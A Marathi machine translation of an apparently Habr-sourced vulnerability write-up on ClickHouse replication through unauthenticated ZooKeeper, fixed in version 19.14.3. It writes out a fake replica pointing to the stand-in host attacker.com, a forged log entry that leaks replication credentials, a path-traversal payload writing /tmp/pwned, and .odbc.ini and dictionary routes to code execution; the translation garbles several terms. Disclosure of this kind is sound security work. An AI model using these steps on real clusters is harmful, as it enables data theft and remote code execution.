🥇तुम्हाला प्राणीसंग्रहालयात पिंजरे बंद ठेवण्याची गरज का आहे

हा लेख क्लिकहाऊस प्रतिकृती प्रोटोकॉलमधील अत्यंत विशिष्ट असुरक्षिततेची कथा सांगेल आणि आक्रमण पृष्ठभाग कसा विस्तारित केला जाऊ शकतो हे देखील दर्शवेल.

क्लिकहाऊस हा मोठ्या प्रमाणात डेटा साठवण्यासाठी डेटाबेस आहे, बहुतेकदा एकापेक्षा जास्त प्रतिकृती वापरतो. क्लिकहाऊसमधील क्लस्टरिंग आणि प्रतिकृती शीर्षस्थानी तयार केल्या आहेत Apache ZooKeeper (ZK) आणि लेखन अधिकार आवश्यक आहेत.

डीफॉल्ट ZK इंस्टॉलेशनला प्रमाणीकरणाची आवश्यकता नसते, त्यामुळे काफ्का, हडूप, क्लिकहाऊस कॉन्फिगर करण्यासाठी वापरलेले हजारो ZK सर्व्हर सार्वजनिकरित्या उपलब्ध आहेत.

तुमचा हल्ला पृष्ठभाग कमी करण्यासाठी, ZooKeeper स्थापित करताना तुम्ही नेहमी प्रमाणीकरण आणि अधिकृतता कॉन्फिगर केली पाहिजे.

अर्थातच काही 0-दिवस आधारित Java डिसिरियलायझेशन आहेत, परंतु कल्पना करा की आक्रमणकर्ता ZooKeeper ला वाचू आणि लिहू शकतो, जो ClickHouse प्रतिकृतीसाठी वापरला जातो.

क्लस्टर मोडमध्ये कॉन्फिगर केल्यावर, क्लिकहाऊस वितरित क्वेरीस समर्थन देते डीडीएल, ZK मधून जात आहे - त्यांच्यासाठी शीटमध्ये नोड्स तयार केले जातात /clickhouse/task_queue/ddl.

उदाहरणार्थ, आपण नोड तयार करा /clickhouse/task_queue/ddl/query-0001 सामग्रीसह:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

आणि त्यानंतर, host1 आणि host2 क्लस्टर सर्व्हरवरील चाचणी सारणी हटवली जाईल. DDL देखील CREATE/ALTER/DROP क्वेरी चालविण्यास समर्थन देते.

धडकी भरवणारा आवाज? परंतु आक्रमणकर्त्याला सर्व्हर पत्ते कोठे मिळू शकतात?

घराची प्रतिकृती क्लिक करा वैयक्तिक सारण्यांच्या स्तरावर कार्य करते, जेणेकरून ZK मध्ये टेबल तयार केल्यावर, एक सर्व्हर निर्दिष्ट केला जातो जो प्रतिकृतीसह मेटाडेटाची देवाणघेवाण करण्यासाठी जबाबदार असेल. उदाहरणार्थ, विनंती कार्यान्वित करताना (ZK कॉन्फिगर करणे आवश्यक आहे, chXX - प्रतिकृतीचे नाव, foobar - टेबल नाव):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

नोड तयार केले जातील स्तंभ и मेटाडेटा.

सामग्री /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

या क्लस्टरमधून डेटा एकत्र करणे शक्य आहे का? होय, जर प्रतिकृती पोर्ट (TCP/9009) सर्व्हरवर chXX-address फायरवॉल बंद होणार नाही आणि प्रतिकृतीसाठी प्रमाणीकरण कॉन्फिगर केले जाणार नाही. प्रमाणीकरण बायपास कसे करावे?

हल्लेखोर फक्त त्यातील सामग्री कॉपी करून ZK मध्ये नवीन प्रतिकृती तयार करू शकतो /clickhouse/tables/01-01/foobar/replicas/chXX आणि अर्थ बदलत आहे host.

सामग्री /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

नंतर तुम्हाला इतर प्रतिकृतींना सांगावे लागेल की आक्रमणकर्त्याच्या सर्व्हरवर डेटाचा एक नवीन ब्लॉक आहे जो त्यांना घेणे आवश्यक आहे - ZK मध्ये एक नोड तयार केला आहे /clickhouse/tables/01-01/foobar/log/log-00000000XX (एक्सएक्स मोनोटोनिकली वाढणारे काउंटर, जे इव्हेंट लॉगमधील शेवटच्या काउंटरपेक्षा मोठे असावे):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

जेथे स्रोत_प्रतिकृती - मागील चरणात तयार केलेल्या आक्रमणकर्त्याच्या प्रतिकृतीचे नाव, ब्लॉक_आयडी - डेटा ब्लॉक अभिज्ञापक, करा - "ब्लॉक मिळवा" कमांड (आणि इतर ऑपरेशन्ससाठी येथे कमांड आहेत).

पुढे, प्रत्येक प्रतिकृती लॉगमधील एक नवीन इव्हेंट वाचते आणि डेटाचा ब्लॉक प्राप्त करण्यासाठी आक्रमणकर्त्याद्वारे नियंत्रित सर्व्हरवर जाते (प्रतिकृती प्रोटोकॉल बायनरी आहे, HTTP वर चालतो). सर्व्हर attacker.com विनंत्या प्राप्त होतील:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

जेथे प्रतिकृतीसाठी XXX प्रमाणीकरण डेटा आहे. काही प्रकरणांमध्ये, हे मुख्य क्लिकहाऊस प्रोटोकॉल आणि HTTP प्रोटोकॉलद्वारे डेटाबेसमध्ये प्रवेश असलेले खाते असू शकते. तुम्ही पाहिल्याप्रमाणे, आक्रमणाची पृष्ठभाग गंभीरपणे मोठी होते कारण प्रतिकृतीसाठी वापरला जाणारा ZooKeeper, प्रमाणीकरण कॉन्फिगर केल्याशिवाय सोडला होता.

प्रतिकृतीमधून डेटाचा ब्लॉक मिळवण्याचे कार्य पाहू, ते पूर्ण आत्मविश्वासाने लिहिलेले आहे की सर्व प्रतिकृती योग्य नियंत्रणाखाली आहेत आणि त्यांच्यामध्ये विश्वास आहे.

प्रतिकृती प्रक्रिया कोड

फंक्शन फाइल्सची यादी वाचते, नंतर त्यांची नावे, आकार, सामग्री आणि नंतर फाइल सिस्टमवर लिहिते. फाइल सिस्टममध्ये डेटा कसा संग्रहित केला जातो याचे स्वतंत्रपणे वर्णन करणे योग्य आहे.

मध्ये अनेक उपनिर्देशिका आहेत /var/lib/clickhouse (कॉन्फिगरेशन फाइलमधून डिफॉल्ट स्टोरेज निर्देशिका):

झेंडे - रेकॉर्डिंगसाठी निर्देशिका झेंडे, डेटा गमावल्यानंतर पुनर्प्राप्तीसाठी वापरले जाते;
टीएमपी - तात्पुरत्या फाइल्स संचयित करण्यासाठी निर्देशिका;
user_files — विनंत्यांच्या फाइल्ससह ऑपरेशन्स या निर्देशिकेपर्यंत मर्यादित आहेत (INTO आउटफाईल आणि इतर);
मेटाडेटा - टेबल वर्णनासह sql फाइल्स;
preprocessed_configs - पासून प्रक्रिया केलेल्या व्युत्पन्न कॉन्फिगरेशन फाइल्स /etc/clickhouse-server;
डेटा - डेटासह वास्तविक निर्देशिका, या प्रकरणात प्रत्येक डेटाबेससाठी एक स्वतंत्र उपनिर्देशिका येथे तयार केली जाते (उदाहरणार्थ /var/lib/clickhouse/data/default).

डेटाबेस निर्देशिकेतील प्रत्येक टेबलसाठी उपडिरेक्ट्री तयार केली जाते. प्रत्येक स्तंभावर अवलंबून एक स्वतंत्र फाइल आहे इंजिन स्वरूप. उदाहरणार्थ टेबलसाठी foobarआक्रमणकर्त्याद्वारे तयार केलेल्या, खालील फायली तयार केल्या जातील:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

डेटाच्या ब्लॉकवर प्रक्रिया करताना प्रतिकृती समान नावांच्या फायली प्राप्त करण्याची अपेक्षा करते आणि त्यांना कोणत्याही प्रकारे प्रमाणित करत नाही.

चौकस वाचकाने कदाचित फंक्शनमध्ये file_name च्या असुरक्षित जोडणीबद्दल ऐकले असेल WriteBufferFromFile. होय, हे आक्रमणकर्त्याला वापरकर्ता अधिकारांसह FS वरील कोणत्याही फाइलवर अनियंत्रित सामग्री लिहिण्याची परवानगी देते clickhouse. हे करण्यासाठी, आक्रमणकर्त्याद्वारे नियंत्रित प्रतिकृती विनंतीला खालील प्रतिसाद परत करणे आवश्यक आहे (समजण्याच्या सुलभतेसाठी लाइन ब्रेक जोडले गेले आहेत):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

आणि एकत्रीकरणानंतर ../../../../../../../../../tmp/pwned फाइल लिहिली जाईल /tmp/pwned सामग्रीसह हॅलो फ्रॉमझूकीपर.

फाइल लेखन क्षमता रिमोट कोड एक्झिक्यूशन (RCE) मध्ये बदलण्यासाठी अनेक पर्याय आहेत.

RCE मधील बाह्य शब्दकोश

जुन्या आवृत्त्यांमध्ये, क्लिकहाऊस सेटिंग्ज असलेली निर्देशिका वापरकर्ता अधिकारांसह संग्रहित केली गेली क्लिकहाऊस डीफॉल्ट सेटिंग्ज फाइल्स XML फाइल्स आहेत ज्या सेवा स्टार्टअपवर वाचते आणि नंतर कॅश करते /var/lib/clickhouse/preprocessed_configs. जेव्हा बदल होतात तेव्हा ते पुन्हा वाचले जातात. जर तुमच्याकडे प्रवेश असेल /etc/clickhouse-server हल्लेखोर स्वतःचे निर्माण करू शकतो बाह्य शब्दकोश एक्झिक्युटेबल प्रकार आणि नंतर अनियंत्रित कोड कार्यान्वित करा. क्लिकहाऊसच्या वर्तमान आवृत्त्या डीफॉल्टनुसार अधिकार प्रदान करत नाहीत, परंतु सर्व्हर हळूहळू अद्यतनित केले असल्यास, असे अधिकार कायम राहू शकतात. तुम्ही क्लिकहाऊस क्लस्टरला समर्थन देत असल्यास, सेटिंग्ज निर्देशिकेचे अधिकार तपासा, ते वापरकर्त्याचे असणे आवश्यक आहे root.

ODBC ते RCE

पॅकेज स्थापित करताना, वापरकर्ता तयार केला जातो clickhouse, परंतु त्याची होम डिरेक्टरी तयार केलेली नाही /nonexistent. तथापि, बाह्य शब्दकोश वापरताना, किंवा इतर कारणांसाठी, प्रशासक एक निर्देशिका तयार करतात /nonexistent आणि वापरकर्त्याला द्या clickhouse त्यावर लिहिण्यासाठी प्रवेश (SSZB! अंदाजे अनुवादक).

क्लिकहाऊस सपोर्ट करते ODBC आणि इतर डेटाबेसशी कनेक्ट होऊ शकतात. ODBC मध्ये, तुम्ही डेटाबेस ड्रायव्हर लायब्ररीचा मार्ग निर्दिष्ट करू शकता (.so). क्लिकहाऊसच्या जुन्या आवृत्त्यांनी तुम्हाला हे थेट विनंती हँडलरमध्ये करण्याची परवानगी दिली, परंतु आता कनेक्शन स्ट्रिंगची अधिक कठोर तपासणी जोडली गेली आहे odbc-bridge, त्यामुळे विनंतीवरून ड्रायव्हर मार्ग निर्दिष्ट करणे यापुढे शक्य होणार नाही. परंतु आक्रमणकर्ता वर वर्णन केलेली असुरक्षा वापरून होम डिरेक्टरीमध्ये लिहू शकतो का?

चला एक फाईल बनवू ~/.odbc.ini यासारख्या सामग्रीसह:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

नंतर स्टार्टअप वर SELECT * FROM odbc('DSN=lalala', 'test', 'test'); लायब्ररी लोड केली जाईल test.so आणि RCE प्राप्त केले (धन्यवाद बगलॉक टीप साठी).

या आणि इतर भेद्यता ClickHouse आवृत्ती 19.14.3 मध्ये निश्चित केल्या आहेत. तुमच्या क्लिकहाऊस आणि झूकीपर्सची काळजी घ्या!

स्त्रोत: www.habr.com

प्राणीसंग्रहालयाचे पिंजरे बंद ठेवण्याची गरज का आहे?

RCE मधील बाह्य शब्दकोश

ODBC ते RCE

एक टिप्पणी जोडा Отменить ответ